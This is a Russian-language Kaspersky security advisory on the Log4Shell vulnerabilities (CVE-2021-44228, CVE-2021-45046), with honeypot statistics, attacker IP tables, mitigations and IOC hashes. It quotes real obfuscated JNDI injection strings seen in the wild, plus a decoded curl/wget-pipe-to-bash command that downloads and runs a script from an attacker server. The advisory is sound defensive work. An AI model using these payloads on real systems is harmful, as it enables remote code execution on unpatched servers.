Публикация обновлена 20.12.2021
Общая информация о CVE-2021-44228 и CVE-2021-45046
Две недели назад новостные агентства сообщили об обнаружении в библиотеке Apache Log4j критической уязвимости, получившей номер CVE-2021-44228 (уровень критичности CVSS 10 из 10). Угроза, также известная как Log4Shell или LogJam, представляет собой уязвимость удаленного выполнения кода (Remote Code Execution, RCE). Если злоумышленнику удастся проэксплуатировать ее на уязвимом сервере, у него появится возможность выполнить произвольный код и потенциально получить полный контроль над системой. Публично опубликованная проверка концепции (Proof оf Concept), как и тот факт, что уязвимость легко проэксплуатировать, делает CVE-2021-44228 особенно опасной.
Спустя некоторое время исследователи сообщили об уязвимости CVE-2021-45046. В первоначальных отчетах говорилось о том, что она может вызвать отказ в обслуживании (DoS) и уязвимы только специфические нестандартные конфигурации, поэтому она получила низкий уровень критичности 3,7. Однако, чуть позже он был повышен до 9,0, т.к. в ряде случаев атаки на основе этой уязвимости могут привести к удаленному исполнению кода (RCE).
«Лаборатория Касперского» осведомлена о ситуации с CVE-2021-44228, CVE-2021-45046 и опубликованными Proof оf Concept, а также о возможной эксплуатации этих уязвимостей злоумышленниками. Наши продукты защищают от атак, использующих перечисленные уязвимости, а также детектируют опубликованные PoC. Возможные имена вердиктов:
- UMIDS:Intrusion.Generic.CVE-2021-45046.*
- UMIDS:Intrusion.Generic.CVE-2021-44228.*
- PDM:Exploit.Win32.Generic
Вердикты KATA:
- Exploit.CVE-2021-44228.TCP.C&C
- Exploit.CVE-2021-44228.HTTP.C&C
- Exploit.CVE-2021-44228.UDP.C&C
Технические детали CVE-2021-44228 и CVE-2021-45046
Уязвимость удаленного выполнения кода CVE-2021-44228 была обнаружена в библиотеке Apache Log4j части Apache Logging Project. Если какой-либо продукт для записи файлов журналов использует уязвимую версию данной библиотеки с поставляемым JNDI-модулем, то есть большая вероятность эксплуатации CVE-2021-44228 в этом продукте. Уязвимы почти все версии Log4j, начиная с 2.0-beta9 и заканчивая 2.14.1.
Библиотека Log4j имеет механизм Lookup, который используется для выполнения запросов путем обработки специального синтаксиса в форматной строке. Например, с помощью него можно запрашивать различные параметры, такие как версия окружения Java через ${java:version} и т. д. При этом если указать в строке в качестве ключа jndi, то механизм Lookup будет осуществляться через JNDI API. По умолчанию все запросы осуществляются с префиксом java:comp/env/, однако авторы предусмотрели возможность указания собственного префикса — для этого в ключе надо поставить символ двоеточия. Здесь и кроется уязвимость: если указать в качестве ключа, например, jndi:ldap://, то запрос будет осуществляться на указанный LDAP-сервер. Также возможно использование и других протоколов для взаимодействия, например LDAPS, DNS, RMI.
«Лаборатория Касперского» продолжает следить за активностью вокруг эксплуатации уязвимости CVE-2021-44228, нам удалось извлечь ссылки, которые использовали атакующие. Наиболее интересные примеры приведены ниже:
${jndi%3aldap%3a//0ky8rj5089x9qx7tq8djb3rpp.canarytokens[.]com/a}
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName:user:env}.c6340b92vtc00002scfggdpcz9eyyyyyd.interactsh[.]com}
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160[.]149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC80NS41Ni45Mi4yMjk6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvNDUuNTYuOTIuMjI5OjgwKXxiYXNo}
${jndi:ldap://5819.u837r4g5oolsy8hudoz24c15nwtohd.burpcollaborator[.]net/a}
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//62.182.80.168:1389/pien3m}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:l}${lower:d}${lower:a}${lower:p}}://67.205.191.102:1389/koejir}}
Проанализировав собранные ссылки, мы получили представление о том, как атакующие пытаются поместить полезную нагрузку в содержимое нестандартных полей, таких как User-Agent, поле данных и поле параметров URL. Включение полезной нагрузки в эти поля по сути является техникой обхода простых мер безопасности, которые используются многими компаниями для защиты от этого типа атак.
Приведенный ниже фрагмент из журнала HTTP-сервера демонстрирует попытку эксплуатации:
45.155.205[.]233:53590 server:80 - [10/Dec/2021:13:25:10 +0000] "GET / HTTP/1.1" 200 1671 "-" "${jndi:ldap://45.155.205[.]233:12344/Basic/Command/Base64/[BASE64-code-removed]}"
Строка Base64 из запроса расшифровывается как:
(curl -s 45.155.xxx.xxx:5874/server:80||wget -q -O- 45.155.xxx.xxx:5874/server:80)|bash
Этот код скачивает с сервера по адресу 45.155.xxx.xxx вредоносный скрипт и далее запускает его, используя Bash.
Таким образом, контролируемый злоумышленником удаленный сервер может вернуть уязвимому серверу некий объект, который потенциально может привести к выполнению произвольного кода в системе или к утечке конфиденциальных данных. При этом злоумышленнику нужно всего лишь послать специальную строку через доступный ему механизм, который приведет к попытке записи этой строки в журнал и, соответственно, к ее обработке библиотекой Log4j. Для этого могут использоваться обычные HTTP-запросы, например, отправляемые через веб-формы, поля данных на сайте и т. п., а также любые другие виды взаимодействий, если они используют журналирование на серверной стороне.
Уязвимость CVE-2021-45046 имеет другой источник, связанный с функциональностью контекста потока (Thread Context), которая позволяет программисту присвоить значения множеству аттрибутов одновременно и потом подставлять их в сообщениях, используя специальный синтаксис. Если продукт использует нестандартные схемы шаблонов с поиском по контексту, например, ${ctx:username}, то злоумышленник, имеющий контроль над именем пользователя, может осуществить рекурсивный поиск, который приведет к переполнению стека и вызовет отказ в обслуживании (DoS). В других сценариях с некоторыми специфическими конфигурациями это может даже привести к удаленному исполнению кода (RCE). К сожалению, меры противодействия, связанные с formatMsgNoLookups и noFormatMsgLookup, которые были предложены для исправления прошлой уязвимости, не предотвращают новую.
Статистика эксплуатации CVE-2021-44228
В период с 10 по 12 декабря наши ханипоты зафиксировали 8646 попыток эксплуатации уязвимости CVE-2021-44228. Пик атак пришелся на 12.00 GMT 11 декабря, тогда за час мы обнаружили 1700 вредоносных запросов к нашим ловушкам.
Количество попыток эксплуатации log4j в период с 10 по 12 декабря, по часам
Вот ТОР 10 наиболее активных IP-адресов атакующих, из числа обнаруженных к моменту этой публикации:
IP-адрес | Страна | Общее количество запросов |
147.182.131[.]229 | США | 948 |
147.182.215[.]36 | США | 789 |
137.184.28[.]58 | США | 693 |
195.54.160[.]149 | Россия | 201 |
45.155.205[.]233 | Германия | 182 |
5.157.38[.]50 | Швеция | 134 |
46.105.95[.]220 | Франция | 108 |
131.100.148[.]7 | Бразилия | 104 |
113.141.64[.]14 | Китай | 103 |
221.228.87[.]37 | Китай | 83 |
Запросы к нашим ловушкам поступали со всего земного шара, однако самое большое их количество исходило из следующих стран:
Страна | Общее количество запросов |
США | 1284 |
Китай | 623 |
Германия | 602 |
Великобритания | 497 |
Канада | 477 |
Нидерланды | 476 |
Сингапур | 449 |
Франция | 420 |
Австралия | 403 |
Япония | 372 |
Вот наиболее активные системы, замеченные в массовом сканировании и попытках эксплуатации уязвимости:
ASN | Общее количество запросов |
DIGITALOCEAN-ASN | 1612 |
M247 Ltd | 1190 |
OOO Network of data-centers Selectel | 833 |
736 | |
Host Universal Pty Ltd | 547 |
Gigabit Hosting Sdn Bhd | 316 |
Hydra Communications Ltd | 247 |
Event Zero | 239 |
PERFORMIVE | 228 |
Intertelecom Ltd | 196 |
Противодействие эксплуатации CVE-2021-44228 и CVE-2021-45046
- По возможности установите самую последнюю версию библиотеки Apache Log4j. Вы можете скачать ее на странице проекта. В случае если библиотека используется в стороннем продукте, необходимо следить и своевременно устанавливать обновления от поставщика программного обеспечения.
- Следуйте рекомендациям Apache Log4j project.
- Используйте защитные решения, которые предоставляют компоненты для управления уязвимостями, такие как Automatic Exploit Prevention в Kaspersky Endpoint Security для бизнеса. Компонент автоматической защиты от эксплойтов отслеживает подозрительные действия приложений и блокирует выполнение вредоносных файлов.
- Используйте такие решения, как Kaspersky Endpoint Detection and Response и Kaspersky Managed Detection and Response, которые помогают выявить и остановить атаку на ранних стадиях — до того, как злоумышленники достигнут своих конечных целей.
Воздействие на продукты «Лаборатории Касперского»
Поддерживаемые продукты «Лаборатории Касперского» не подвержены уязвимостям CVE-2021-44228 и CVE-2021-45046.
Индикаторы заражения (IOC)
1cf9b0571decff5303ee9fe3c98bb1f1
194db367fbb403a78d63818c3168a355
18cc66e29a7bc435a316d9c292c45cc6
1780d9aaf4c048ad99fa93b60777e3f9
163e03b99c8cb2c71319a737932e9551
Уязвимость CVE-2021-44228 в библиотеке Apache Log4j